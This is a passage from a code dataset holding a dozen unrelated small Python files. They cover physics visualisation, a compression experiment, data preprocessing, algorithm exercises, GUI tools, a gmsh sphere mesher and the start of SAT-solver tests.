1\n if not Q:\n Q = 1\n\n t_start = time()\n t_ret = get_retarded_time_secant(x, z, q_x_func, q_z_func, t, C)\n print(\"time to compute t_ret:\", time() - t_start)\n nice_r_x = x - q_x_func(t_ret) * np.ones_like(x)\n nice_r_z = z - q_z_func(t_ret) * np.ones_like(z)\n\n nice_r_norm = np.sqrt(nice_r_x ** 2 + nice_r_z ** 2)\n\n v_x_ret = derivative(q_x_func, t_ret, dx=1e-6)\n v_z_ret = derivative(q_z_func, t_ret, dx=1e-6)\n a_x_ret = derivative(q_x_func, t_ret, dx=1e-6, n=2)\n a_z_ret = derivative(q_z_func, t_ret, dx=1e-6, n=2)\n\n u_x = C * nice_r_x / nice_r_norm - v_x_ret\n u_z = C * nice_r_z / nice_r_norm - v_z_ret\n\n nice_r_dot_u = nice_r_x * u_x + nice_r_z * u_z\n const = Q / (4 * np.pi * EPS_0)\n front = nice_r_norm / (nice_r_dot_u ** 3)\n\n radiation_term_x = -nice_r_z * (u_z * a_x_ret - u_x * a_z_ret)\n radiation_term_z = nice_r_x * (u_z * a_x_ret - u_x * a_z_ret)\n\n E_x = const * front * radiation_term_x\n E_z = const * front * radiation_term_z\n\n return E_x, E_z\n\n\ndef E_theta(x,\n z,\n t,\n q_x_func=None,\n q_z_func=None,\n C=0,\n EPS_0=0,\n Q=0):\n theta = np.arctan2(abs(x), z)\n e_theta_x = np.cos(theta)\n e_theta_z = -np.sin(theta)\n\n E_x, E_z = E_at_point(x, z, t, q_x_func, q_z_func, C, EPS_0, Q)\n\n return E_x * e_theta_x * np.sign(x) + E_z * e_theta_z\n\n\ndef double_sqrt(x):\n return np.sqrt(abs(x)) * np.sign(x)\n\n\ncounter = count()\n\n\ndef draw_dipole_field(t):\n halfside = 60\n T = 6\n\n def z_func(t_):\n return np.sin(2 * np.pi * t_ / T)\n\n x, z = np.mgrid[-halfside:halfside:200j, -halfside:halfside:200j]\n\n t_start = time()\n positive_field = E_theta(x, z + 2, t,\n q_z_func=z_func)\n negative_field = E_theta(x, z - 2, t + T / 2,\n q_z_func=z_func)\n print(\"time:\", time() - t_start)\n field = double_sqrt(positive_field - negative_field)\n\n plt.clf()\n plt.axis(\"off\")\n plt.imshow(field.T, extent=[x.min(), x.max(), z.min(), z.max()], origin=\"lower\",\n # vmin=double_sqrt(-0.0332992), vmax=double_sqrt(0.0299505),\n vmin=double_sqrt(-0.03), vmax=double_sqrt(0.025),\n interpolation=\"quadric\", )\n # cmap=\"inferno\")\n\n plt.subplots_adjust(left=0, bottom=0, right=1, top=1)\n\n plt.plot([0], [z_func(t) - 2], \"ro\")\n # print(pos_z(t), field[25,25])\n plt.plot([0], [z_func(t + T / 2) + 2], \"go\")\n # plt.savefig(f\"out3/{str(counter).rjust(3, '0')}-t={t:.2g}.png\", bbox_inches=\"tight\")\n print(f\"done t = {t}\")\n print(next(counter))\n\n\nanim = FuncAnimation(plt.gcf(), draw_dipole_field, np.arange(0, 12, 0.1), interval=100)\nplt.show()","sub_path":"pgPhysics/dipole_waves/working/dipole_numpy.py","file_name":"dipole_numpy.py","file_ext":"py","file_size_in_byte":5327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369680221","text":"import os\nimport sys\nimport subprocess\nimport csv\n\nimport pathlib\n\ndef writeCsv(row, file):\n\n with open(file, 'a') as csvFile:\n writer = csv.writer(csvFile)\n writer.writerow(row)\n\ndef du(dir):\n\n result = subprocess.check_output(['du', '-sb', dir], encoding=\"utf-8\")\n result = (result.split('\\t'))[0]\n return result\n\ndef delta(input, output):\n\n dcmd = 'gzip'\n\n subprocess.call([dcmd, '{!s}'.format(input)])\n\n input = input + '.gz'\n move(input, output)\n\ndef copy(input, output):\n\n subprocess.call(['cp', input, output])\n\ndef move(input, output):\n\n subprocess.call(['mv', input, output])\n \n\nif __name__ == '__main__':\n\n inputFile = sys.argv[1]\n outputDest = sys.argv[2]\n outputFile = sys.argv[3]\n\n if not outputDest.endswith('/'):\n outputDest = outputDest + '/'\n\n files = []\n\n with open(inputFile, 'r') as input:\n files = input.readlines()\n\n writeCsv(['file', 'origin size', 'final size'], outputFile)\n i = 1\n origin_size = 0\n for file in files:\n if file.endswith('\\n'):\n file = file[:-1]\n output = '{!s}{!s}_file'.format(outputDest, i)\n\n copy(file, './')\n\n tmp = os.path.basename(file)\n delta(tmp, output)\n origin_size += os.path.getsize(file)\n delta_size = 0\n\n if (i % 10 == 0) or (i == len(files)):\n delta_size = du(outputDest)\n writeCsv([i, origin_size, delta_size], outputFile)\n i = i + 1\n \n\n \n \n \n \n \n \n","sub_path":"experiment-scripts/python/gzip_experiment.py","file_name":"gzip_experiment.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350160496","text":"\"\"\"\n 步骤:\n ①导包\n ②导入数据\n ③处理丢失的数据\n ④解析分类数据,例如带标签的将他们变成数字的表达方式\n ⑤差分数据集和测试集\n ⑥将数据进行归一化或者特征值标准化\n\"\"\"\nimport numpy as np\nimport pandas as pd\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\ndef DataProcess():\n #读取数据\n dataset=pd.read_csv('Data.csv')\n # 这里的values是将dataframe类型转换成ndarray类型\n X=dataset.iloc[:,:-1].values\n Y=dataset.iloc[:,-1].values\n #处理丢失的数据\n imputer = SimpleImputer(missing_values=np.nan, strategy=\"mean\")\n X[:,1:3]=imputer.fit_transform(X[:,1:3])\n # print(X)\n #对数据进行编码\n labelencode_x=LabelEncoder()\n X[:,0]=labelencode_x.fit_transform(X[:,0])\n labelencode_y = LabelEncoder()\n Y = labelencode_x.fit_transform(Y)\n onehotencode_x=OneHotEncoder()\n X=onehotencode_x.fit_transform(X).toarray()\n #分成数据集和测试集\n x_train,x_test,y_train,y_test=train_test_split(X,Y,test_size=0.2)\n sc_X=StandardScaler()\n x_train=sc_X.fit_transform(x_train)\n x_test=sc_X.fit_transform(x_test)\n print(x_train)\n\nclass MyDataProcess():\n #进行读取数据\n dataset=pd.read_csv('Data.csv')\n x=dataset.iloc[:,:-1].values\n y=dataset.iloc[:,-1]\n #处理缺失值\n imputer=SimpleImputer(missing_values=np.nan,strategy='mean')\n x[:,1:3]=imputer.fit_transform(x[:,1:3])\n #分类数据处理\n label_x=LabelEncoder()\n x[:,0]=label_x.fit_transform(x[:,0])\n label_y=LabelEncoder()\n y=label_y.fit_transform(y)\n onehotencode=OneHotEncoder()\n x=onehotencode.fit_transform(x).toarray()\n #差分训练集和测试集合\n x_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.2)\n #进行归一化处理\n sc_x=StandardScaler()\n x_train=sc_x.fit_transform(x_train)\n x_test=sc_x.fit_transform(x_test)\nif __name__ == '__main__':\n MyDataProcess()\n\n","sub_path":"venv/Include/LineModel/DataProcess.py","file_name":"DataProcess.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417359613","text":"class Solution:\n\n @staticmethod\n def solution(nums,k):\n \"Pair with Target Sum\"\n if len(nums) > 1:\n result = []\n dic = {}\n for i in range(len(nums)):\n if nums[i] in dic:\n result.append((dic[nums[i]], i))\n\n dic[k-nums[i]] = i\n return result\n\n\nif __name__ == \"__main__\":\n\n test_list = [2, 7, 11, 2, 15, 13, 0, 0, 13]\n test_sum = 13\n my_index = Solution.solution(test_list, test_sum)\n if my_index == []:\n print(\"不存在这样的两数\")\n else:\n print('当前数组为:', test_list, \"和为:\", test_sum, \"的数组下标为:\", my_index)\n\n\n\n","sub_path":"summation/two_sum/pair_with_target_sum.py","file_name":"pair_with_target_sum.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414786559","text":"import pytest\nfrom selenium import webdriver\n \n \n@pytest.fixture(scope=\"session\")\ndef chrome_driver():\n print(\"initiating chrome driver\")\n\n options = webdriver.ChromeOptions()\n options.add_argument(\"--start-maximized\")\n\n driver = webdriver.Chrome(options=options)\n\n yield driver\n driver.quit()","sub_path":"tests/page_object/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"622822451","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 2 00:28:02 2017\n\n13. Roman to Integer\n\nGiven a roman numeral, convert it to an integer.\n\nInput is guaranteed to be within the range from 1 to 3999.\n\n@author: jiajia\n\"\"\"\n\nclass Solution:\n def __init__(self):\n self.r2i = { \"I\" : 1, \"V\" : 5, \"X\" : 10, \"L\" : 50, \"C\" : 100, \"D\" : 500, \"M\" : 1000 }\n \n def romanToInt(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n l = len(s)\n ret = 0\n last = 0\n for i in range(0, l):\n c = s[-1 - i]\n n = self.r2i[c]\n if n < last:\n ret -= n\n else:\n ret += n\n last = n\n \n return ret\n \nslt = Solution()\nprint(slt.romanToInt(\"MCMLIV\")) # 1954\nprint(slt.romanToInt(\"MCMXC\")) # 1900\nprint(slt.romanToInt(\"MMXIV\")) # 2014 \n","sub_path":"Python/013.RomanToInteger.py","file_name":"013.RomanToInteger.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"535746673","text":"import asyncio\nimport gi\n\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\n\nfrom ib_insync.contract import Stock\n\n# UI\nfrom ui.core.pages.base_page import BasePage\nfrom ui.state.main import State\n\n# BUSINESS\nfrom business.services.ib_data_service import IBDataService\nfrom business.core.task_manager import TaskManager\nfrom business.modules.stocks_watchlist import StockWatchlistBL\n\nfrom helpers import printObject\n\n\nclass StocksPage(BasePage):\n def __init__(self):\n BasePage.__init__(self, \"ui/pages/overview/stocks/main.glade\", \"StocksMainGrid\")\n\n self.bl = StockWatchlistBL()\n\n self.ls = Gtk.ListStore(str, float, float, float, float, float, float, float)\n self.tw = Gtk.TreeView(self.ls)\n self.tw.set_hexpand(True)\n self.tw.set_vexpand(True)\n\n # all columns\n for i, col_title in enumerate(\n [\"Ticker\", \"BidSize\", \"Bid\", \"AskSize\", \"Ask\", \"High\", \"Low\", \"Close\"]\n ):\n renderer = Gtk.CellRendererText()\n column = Gtk.TreeViewColumn(col_title, renderer, text=i)\n column.set_sort_column_id(i)\n self.tw.append_column(column)\n\n # delete button columns\n action_icon = Gtk.CellRendererPixbuf()\n self.delete_action_icon = Gtk.TreeViewColumn(\"\", action_icon, icon_name=2)\n self.tw.append_column(self.delete_action_icon)\n self.tw.connect(\"button-press-event\", self.on_pressed)\n\n self.template.attach(self.tw, 0, 1, 2, 2)\n\n self.add_stock_btn = self.builder.get_object(\"AddStockButton\")\n self.add_stock_btn.connect(\"clicked\", self.add_button_click)\n self.add_stock_input = self.builder.get_object(\"AddStockInput\")\n\n self.bl.state.stocks_realtime_data.data.subscribe(\n lambda x: (self.set_table_data(x))\n )\n self.bl.updateStateFromDB()\n\n self.template.show_all()\n\n # click handler\n def on_pressed(self, trview, event):\n print(\"on_pressed\")\n path, col, x, y = trview.get_path_at_pos(event.x, event.y)\n\n # delete button\n if col is self.delete_action_icon:\n model, row = trview.get_selection().get_selected()\n ticker = model[path][0]\n self.bl.remove(ticker)\n\n def add_button_click(self, *args):\n ticker = self.add_stock_input.get_text().upper()\n self.bl.add(ticker)\n\n def set_table_data(self, data):\n self.ls.clear()\n for row in data.itertuples(index=True):\n self.ls.append(\n [\n str(row.Index),\n row.bidSize,\n row.bid,\n row.ask,\n row.askSize,\n row.high,\n row.low,\n row.close,\n ]\n )\n","sub_path":"financeapp/ui/pages/overview/stocks/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"392214604","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 12 09:06:01 2018\n\n@author: Vedran Furtula\n\"\"\"\n\n\nimport time, sys, imp\nfrom pyqtgraph.Qt import QtCore, QtGui\nimport config_zeiss\n#from PyQt4 import QtGui, QtCore\n#from PyQt4.QtCore import QThread, SIGNAL\n\n\nclass MainWindow(QtGui.QMainWindow):\n\n\tdef __init__(self,parent=None):\n\t\tsuper(MainWindow, self).__init__(parent)\n\t\t\n\t\tMyBar = QtGui.QMenuBar(self)\n\t\tMyBar.setFixedWidth(80)\n\t\tself.MyBar2 = QtGui.QMenuBar(self)\n\t\t\"\"\"\n QMenuBar {\n background-color: rgb(49,49,49);\n color: rgb(255,255,255);\n border: 1px solid ;\n }\n\n QMenuBar::item {\n background-color: rgb(49,49,49);\n color: rgb(255,255,255);\n }\n\n QMenuBar::item::selected {\n background-color: rgb(30,30,30);\n }\n\t\t\"\"\"\n\t\tMyBar.setStyleSheet(''.join(['QMenuBar::item {background-color: yellow; }']))\n\t\t#MyBar.setStyleSheet(''.join(['QMenuBar {background-color: lightblue; }']))\n\t\tself.MyBar2.setStyleSheet(''.join(['QMenuBar::item::selected {background-color: lightblue; }']))\n\t\tMyBar.setToolTip(\"What do you wish to do? \\nCALIBRATE stepper motor positions for the wavelengths or slit widths or \\nSCAN wavelength and slit width while monitoring the signal.\\nOnly one method is active at a time.\")\n\t\t\n\t\tappMenu = MyBar.addMenu(\"Load app\")\n\t\t\n\t\tself.appCalib = appMenu.addAction(\"Calibrate\")\n\t\tself.appCalib.triggered.connect(self.runCalib)\n\t\t\n\t\tself.appScan = appMenu.addAction(\"Scan\")\n\t\tself.appScan.triggered.connect(self.runScan)\n\t\t\n\t\t# main layout\n\t\tself.mainBar = QtGui.QHBoxLayout()\n\t\tself.mainBar.addWidget(MyBar)\n\t\tself.mainBar.addWidget(self.MyBar2)\n\t\t\n\t\t# main layout\n\t\tself.mainLayout = QtGui.QVBoxLayout()\n\t\tself.mainLayout.addLayout(self.mainBar)\n\n\t\t# central widget\n\t\tself.centralWidget = QtGui.QWidget()\n\t\tself.centralWidget.setLayout(self.mainLayout)\n\n\t\t# set central widget\n\t\tself.setCentralWidget(self.centralWidget)\n\t\t\n\t\t#self.move(50,50)\n\t\tself.setGeometry(50, 50, 400, 150)\n\t\tself.setWindowTitle('Automated Zeiss Monochromator')\n\t\tself.show()\n\t\t\n\t\t\n\tdef runCalib(self):\n\t\t\n\t\tif self.appScan.isEnabled()==False:\n\t\t\tif not self.rg_scan.close():\n\t\t\t\treturn None\n\t\t\tself.set_finished()\n\t\t\t\n\t\timp.reload(config_zeiss)\n\t\timport Calib_Zeiss_spectrometer_GUI_v5\n\t\tself.rg_calib=Calib_Zeiss_spectrometer_GUI_v5.Run_gui(self.MyBar2)\n\t\tself.appCalib.setEnabled(False)\n\t\t\n\t\tself.mainLayout.addWidget(self.rg_calib)\n\t\tself.rg_calib.exec_()\n\t\tself.set_finished()\n\t\t\n\tdef runScan(self):\n\t\t\n\t\tif self.appCalib.isEnabled()==False:\n\t\t\tif not self.rg_calib.close():\n\t\t\t\treturn None\n\t\t\tself.set_finished()\n\t\t\n\t\timp.reload(config_zeiss)\n\t\timport Scan_ZaberXmcb_GUI_v8\n\t\tself.rg_scan=Scan_ZaberXmcb_GUI_v8.Run_gui(self.MyBar2)\n\t\tself.appScan.setEnabled(False)\n\t\t\n\t\tself.mainLayout.addWidget(self.rg_scan)\n\t\tself.rg_scan.exec_()\n\t\tself.set_finished()\n\t\t\n\t\t\n\tdef set_finished(self):\n\t\t\n\t\tif self.appCalib.isEnabled()==False:\n\t\t\tself.appCalib.setEnabled(True)\n\t\t\n\t\tif self.appScan.isEnabled()==False:\n\t\t\tself.appScan.setEnabled(True)\n\t\t\n\t\tself.MyBar2.clear()\n\t\t\n\t\t\n\tdef closeEvent(self,event):\n\t\t\n\t\tif self.appCalib.isEnabled()==False:\n\t\t\tif self.rg_calib.close():\n\t\t\t\tself.set_finished()\n\t\t\t\tevent.accept()\n\t\t\telse:\n\t\t\t\tevent.ignore()\n\t\t\n\t\tif self.appScan.isEnabled()==False:\n\t\t\tif self.rg_scan.close():\n\t\t\t\tself.set_finished()\n\t\t\t\tevent.accept()\n\t\t\telse:\n\t\t\t\tevent.ignore()\n\t\t\n\t\t\ndef main():\n\t\n\tapp=QtGui.QApplication(sys.argv)\n\tex=MainWindow()\n\t#sys.exit(app.exec_())\n\n\t# avoid message 'Segmentation fault (core dumped)' with app.deleteLater()\n\tapp.exec_()\n\tapp.deleteLater()\n\tsys.exit()\n\t\nif __name__=='__main__':\n\t\n main()\n \n","sub_path":"Zeiss_spectrometer/Zeiss_spectrometer_Python3_v191002/Zeiss_spectrometer_v0.py","file_name":"Zeiss_spectrometer_v0.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"167031182","text":"\"\"\"\n\nA short program to evaluate execution times of algoritmhs\n\nWritten by Martin Venaas 23.feb.2016\n\n\n\"\"\"\n\n\nimport timeit, functools\n\n# List to search\nlist = [\"Martin\", \"Tor Ole\", \"Per-otto\", \"Tomas\", \"Andrei\"]\n\ndef search_fast(haystack, needle):\n for item in haystack:\n if item == needle:\n return True\n return False\n\ndef search_slow(haystack, needle):\n return_value = False\n for item in haystack:\n if item == needle:\n return_value = True\n return return_value\n\n\n\"\"\"\nt = timeit.Timer(functools.partial(search_fast, list, \"Martin\")) \nprint(t.timeit(1000000))\n\nt = timeit.Timer(functools.partial(search_slow, list, \"Martin\")) \nprint(t.timeit(1000000))\n\"\"\"\n\n\n# numberOfLoops is the amounts of times you want to run timeTests \n\nnumberOfLoops = 5\n\ntestresultsFast = []\ntestresultsSlow = []\n\ndef timeTests(numberOfLoops):\n for i in range(numberOfLoops):\n \n t = timeit.Timer(functools.partial(search_fast, list, \"Martin\")) \n fastResult = (t.timeit(1000000))\n testresultsFast.append(i)\n \n \n t = timeit.Timer(functools.partial(search_slow, list, \"Martin\")) \n slowResult = (t.timeit(1000000)) \n testresultsSlow.append(i)\n \n \n\n\n \n","sub_path":"ica05/ica05_c.py","file_name":"ica05_c.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"596892748","text":"from MatlabFuncs import *\r\nimport numpy as np\r\nfrom numpy import *\r\nfrom pairoptions import *\r\nfrom mesh3dsurface import *\r\nimport subprocess\r\n\r\ndef gmshplanet(*varargin):\r\n#GMSHPLANET - mesh generation for a sphere. Very specific code for gmsh. From demo/sphere.geo\r\n#\r\n# Available options (for more details see ISSM website http://issm.jpl.nasa.gov/):\r\n#\r\n# - radius: radius of the planet in km\r\n# - resolution: resolution in km\r\n# - refine: provide mesh\r\n# - refinemetric: mesh quantity to specify resolution\r\n#\r\n# Returns 'mesh3dsurface' type mesh\r\n#\r\n# Examples:\r\n# md.mesh=gmshplanet('radius',6000,'resolution',100);\r\n# md.mesh=gmshplanet('radius',6000,'resolution',100);\r\n\r\n\t#process options\r\n\toptions=pairoptions(*varargin)\r\n\t#options=deleteduplicates(options,1)\r\n\r\n\t#recover parameters:\r\n\tradius=options.getfieldvalue('radius')*1000\r\n\tresolution=options.getfieldvalue('resolution')*1000\r\n\r\n\t#initialize mesh: \r\n\tmesh=mesh3dsurface()\r\n\r\n\t#create .geo file: {{{\r\n\tfid=open('sphere.geo','w')\r\n\r\n\tfid.write('Mesh.Algorithm = 1;\\n')\r\n\tif options.exist('refine'):\r\n\t\tfid.write('Mesh.Algorithm = 7;\\n')\r\n\t\tfid.write('Mesh.CharacteristicLengthFromPoints= 0;\\n')\r\n\t\tfid.write('Mesh.SmoothRatio= 3;\\n')\r\n\t\tfid.write('Mesh.RemeshAlgorithm= 1;\\n')\r\n\tfid.write('resolution=%g;\\n'%resolution)\r\n\tfid.write('radius=%g;\\n'%radius)\r\n\tfid.write('Point(1) = {0.0,0.0,0.0,resolution};\\n')\r\n\tfid.write('Point(2) = {radius,0.0,0.0,resolution};\\n')\r\n\tfid.write('Point(3) = {0,radius,0.0,resolution};\\n')\r\n\tfid.write('Circle(1) = {2,1,3};\\n')\r\n\tfid.write('Point(4) = {-radius,0,0.0,resolution};\\n')\r\n\tfid.write('Point(5) = {0,-radius,0.0,resolution};\\n')\r\n\tfid.write('Circle(2) = {3,1,4};\\n')\r\n\tfid.write('Circle(3) = {4,1,5};\\n')\r\n\tfid.write('Circle(4) = {5,1,2};\\n')\r\n\tfid.write('Point(6) = {0,0,-radius,resolution};\\n')\r\n\tfid.write('Point(7) = {0,0,radius,resolution};\\n')\r\n\tfid.write('Circle(5) = {3,1,6};\\n')\r\n\tfid.write('Circle(6) = {6,1,5};\\n')\r\n\tfid.write('Circle(7) = {5,1,7};\\n')\r\n\tfid.write('Circle(8) = {7,1,3};\\n')\r\n\tfid.write('Circle(9) = {2,1,7};\\n')\r\n\tfid.write('Circle(10) = {7,1,4};\\n')\r\n\tfid.write('Circle(11) = {4,1,6};\\n')\r\n\tfid.write('Circle(12) = {6,1,2};\\n')\r\n\tfid.write('Line Loop(13) = {2,8,-10};\\n')\r\n\tfid.write('Ruled Surface(14) = {13};\\n')\r\n\tfid.write('Line Loop(15) = {10,3,7};\\n')\r\n\tfid.write('Ruled Surface(16) = {15};\\n')\r\n\tfid.write('Line Loop(17) = {-8,-9,1};\\n')\r\n\tfid.write('Ruled Surface(18) = {17};\\n')\r\n\tfid.write('Line Loop(19) = {-11,-2,5};\\n')\r\n\tfid.write('Ruled Surface(20) = {19};\\n')\r\n\tfid.write('Line Loop(21) = {-5,-12,-1};\\n')\r\n\tfid.write('Ruled Surface(22) = {21};\\n')\r\n\tfid.write('Line Loop(23) = {-3,11,6};\\n')\r\n\tfid.write('Ruled Surface(24) = {23};\\n')\r\n\tfid.write('Line Loop(25) = {-7,4,9};\\n')\r\n\tfid.write('Ruled Surface(26) = {25};\\n')\r\n\tfid.write('Line Loop(27) = {-4,12,-6};\\n')\r\n\tfid.write('Ruled Surface(28) = {27};\\n')\r\n\tfid.write('Surface Loop(29) = {28,26,16,14,20,24,22,18};\\n')\r\n\tfid.write('Volume(30) = {29};\\n')\r\n\tfid.write('Physical Surface(1) = {28,26,16,14,20,24,22,18};\\n')\r\n\tfid.write('Physical Volume(2) = 30;\\n')\r\n\tfid.close()\r\n\t#}}}\r\n\r\n\tif options.exist('refine'):\r\n\t\tmeshini=options.getfieldvalue('refine')\r\n\t\tmetric=options.getfieldvalue('refinemetric')\r\n\r\n\t\t#create .pos file with existing mesh and refining metric: {{{\r\n\t\tfid=open('sphere.pos','w')\r\n\r\n\t\tfid.write('View \"background mesh\" [;\\n')\r\n\t\tfor i in range(meshini.numberofelements):\r\n\t\t\tfid.write('ST(%g,%g,%g,%g,%g,%g,%g,%g,%g)[%g,%g,%g];\\n',\r\n\t\t\t\t\t\t\t\tmeshini.x(meshini.elements(i,0)), meshini.y(meshini.elements(i,0)), meshini.z(meshini.elements(i,0)),\r\n\t\t\t\t\t\t\t\tmeshini.x(meshini.elements(i,1)), meshini.y(meshini.elements(i,1)), meshini.z(meshini.elements(i,1)),\r\n\t\t\t\t\t\t\t\tmeshini.x(meshini.elements(i,2)), meshini.y(meshini.elements(i,2)), meshini.z(meshini.elements(i,2)),\r\n\t\t\t\t\t\t\t\tmetric(meshini.elements(i,0)), metric(meshini.elements(i,1)), metric(meshini.elements(i,2)))\r\n\t\tfid.write('];\\n')\r\n\t\t\r\n\t\tfid.close()\r\n\t\t# }}}\r\n\r\n\t#call gmsh\r\n\tif options.exist('refine'):\r\n\t\tsubprocess.call('gmsh -tol 1e-8 -2 sphere.geo -bgm sphere.pos',shell=True)\r\n\telse:\r\n\t\t#call gmsh\r\n\t\tsubprocess.call('gmsh -tol 1e-8 -2 sphere.geo',shell=True)\r\n\r\n\t#import mesh: {{{\r\n\tfid=open('sphere.msh','r')\r\n\r\n\t#Get Mesh format\r\n\tA=fid.readline().strip()\r\n\tif not strcmp(A,'$MeshFormat'):\r\n\t\traise RuntimeError(['Expecting $MeshFormat (', A, ')'])\r\n\r\n\tA=fid.readline().split()\r\n\tA=fid.readline().strip()\r\n\tif not strcmp(A,'$EndMeshFormat'):\r\n\t\traise RuntimeError(['Expecting $EndMeshFormat (', A, ')'])\r\n\r\n\t#Nodes\r\n\tA=fid.readline().strip()\r\n\tif not strcmp(A,'$Nodes'):\r\n\t\traise RuntimeError(['Expecting $Nodes (', A, ')'])\r\n\r\n\tmesh.numberofvertices=int(fid.readline().strip())\r\n\tmesh.x=np.empty(mesh.numberofvertices)\r\n\tmesh.y=np.empty(mesh.numberofvertices)\r\n\tmesh.z=np.empty(mesh.numberofvertices)\r\n\tfor i in range(mesh.numberofvertices):\r\n\t\tA=fid.readline().split()\r\n\t\tmesh.x[i]=float(A[1])\r\n\t\tmesh.y[i]=float(A[2])\r\n\t\tmesh.z[i]=float(A[3])\r\n\r\n\tA=fid.readline().strip()\r\n\tif not strcmp(A,'$EndNodes'):\r\n\t\traise RuntimeError(['Expecting $EndNodes (', A, ')'])\r\n\r\n\t#Elements\r\n\tA=fid.readline().strip()\r\n\tif not strcmp(A,'$Elements'):\r\n\t\traise RuntimeError(['Expecting $Elements (', A, ')'])\r\n\tmesh.numberofelements=int(fid.readline().strip())\r\n\tmesh.elements=np.zeros([mesh.numberofelements,3])\r\n\tfor i in range(mesh.numberofelements):\r\n\t\tA=fid.readline().split()\r\n\t\tmesh.elements[i]=[int(A[5]),int(A[6]),int(A[7])]\r\n\tmesh.elements=mesh.elements.astype(int)\r\n\tA=fid.readline().strip()\r\n\tif not strcmp(A,'$EndElements'):\r\n\t\traise RuntimeError(['Expecting $EndElements (', A, ')'])\r\n\tfid.close() \r\n\t#}}}\r\n\r\n\t#figure out other fields in mesh3dsurface: \r\n\tmesh.r=np.sqrt(mesh.x**2+mesh.y**2+mesh.z**2)\r\n\tmesh.lat=np.arcsin(mesh.z/mesh.r)/np.pi*180\r\n\tmesh.long=np.arctan2(mesh.y,mesh.x)/np.pi*180\r\n\r\n\t#erase files: \r\n\tsubprocess.call('rm -rf sphere.geo sphere.msh sphere.pos',shell=True)\r\n\r\n\t#return mesh: \r\n\treturn mesh\r\n","sub_path":"trunk/src/m/mesh/planet/gmsh/gmshplanet.py","file_name":"gmshplanet.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"598835496","text":"\"\"\"\nGiven two words (begin_word and end_word), and a dictionary's word list, return the shortest transformation sequence from begin_word to end_word, such that:\n\nOnly one letter can be changed at a time.\nEach transformed word must exist in the word list. \nNote that begin_word is not a transformed word.\n\nNote:\nReturn None if there is no such transformation sequence.\nAll words contain only lowercase alphabetic characters.\nYou may assume no duplicates in the word list.\nYou may assume begin_word and end_word are non-empty and are not the same.\n\n\nSample:\nbegin_word = \"hit\"\nend_word = \"cog\"\nreturn: ['hit', 'hot', 'cot', 'cog']\n\nbegin_word = \"sail\"\nend_word = \"boat\"\n['sail', 'bail', 'boil', 'boll', 'bolt', 'boat']\n\nbeginWord = \"hungry\"\nendWord = \"happy\"\nNone\n\"\"\"\n\nfrom day1 import Queue\nimport string\n\n#get the words from a file into a set \nwords = set()\nwith open('words.txt') as f:\n for w in f:\n w = w.strip()\n words.add(w)\n \n#create a graph with the words as nodes connected to neighbors that are words that differ by 1 letter \n\n#gets all words that differ by 1 into neighbor list\n#total runtime complexity --> O(26680n) over length of word\ndef get_neighbors1(word):\n neighbors = []\n for w in words: #O(n) for number of words 26680 \n if len(w) == len(word):\n diff_count = 0\n \n for i in range(len(w)): #O(n) over length of word \n if w[i] != word[i]:\n diff_count += 1\n if diff_count > 1:\n break\n \n if diff_count == 1:\n neighbors.append(w)\n \n return neighbors\n\n#for each letter in the word switch with each letter in the alphabet and checking if the word is in the dictionary\n#total runtime complexity --> O(26n) over length of word\ndef get_neighbors(word):\n neighbors = []\n #possible letters a-z\n alphabet = list(string.ascii_lowercase)\n \n word_letters = list(word)\n \n for i in range(len(word_letters)): #O(n) over length of the word\n for a in alphabet: #O(26)\n word_letters_copy = list(word_letters)\n word_letters_copy[i] = a\n candidate_word = \"\".join(word_letters_copy)\n \n if candidate_word != word and candidate_word in words:\n neighbors.append(candidate_word)\n \n return neighbors\n \n\ndef bfs(begin_word, end_word):\n visited = set()\n q = Queue()\n \n q.enqueue([begin_word])\n \n while q.size() > 0:\n path = q.dequeue()\n last_word = path[-1]\n \n if last_word not in visited:\n visited.add(last_word)\n \n if last_word == end_word:\n return path\n \n for neighbor in get_neighbors(last_word):\n path_copy = path + [neighbor]\n q.enqueue(path_copy)\n \nprint(bfs('hit', 'hog'))","sub_path":"day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"617697291","text":"import pytest\n\nfrom sat_solver.clauses import Clauses, _get_leaves\nfrom logic_formula_parser.operators import *\n\n\nclass TestClauses:\n def test__is_leaf(self):\n # a∨b\n formula = Or(Proposition('a'), Proposition('b'))\n leaves = _get_leaves(formula)\n actual_leaves = {Proposition('a'), Proposition('b')}\n assert leaves == actual_leaves\n\n # ¬◇c∨¬☐¬a∨d\n formula = Or(Or(Not(Diamond(Proposition('d'))),\n Not(BoxNot(Proposition('a')))),\n 